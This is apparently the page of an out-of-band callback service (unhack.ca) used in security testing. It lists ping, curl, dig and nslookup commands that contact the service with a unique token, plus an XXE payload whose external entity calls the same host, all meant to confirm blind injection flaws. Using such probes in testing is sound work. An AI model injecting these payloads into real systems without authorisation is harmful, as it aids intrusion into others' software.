$ ping -c1 -p 008044b8da2d2bfaa7ce046af8ec4d00 unhack.ca
 
$ curl http://unhack.ca/p/8044b8da2d2bfaa7ce046af8ec4d
 
$ dig 8044b8da2d2bfaa7ce046af8ec4d @unhack.ca
 
$ dig 8044b8da2d2bfaa7ce046af8ec4d.ns.unhack.ca
 
C:\> nslookup 8044b8da2d2bfaa7ce046af8ec4d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8044b8da2d2bfaa7ce046af8ec4d">]>
    <foo>&xxe;</foo>
Waiting for ping...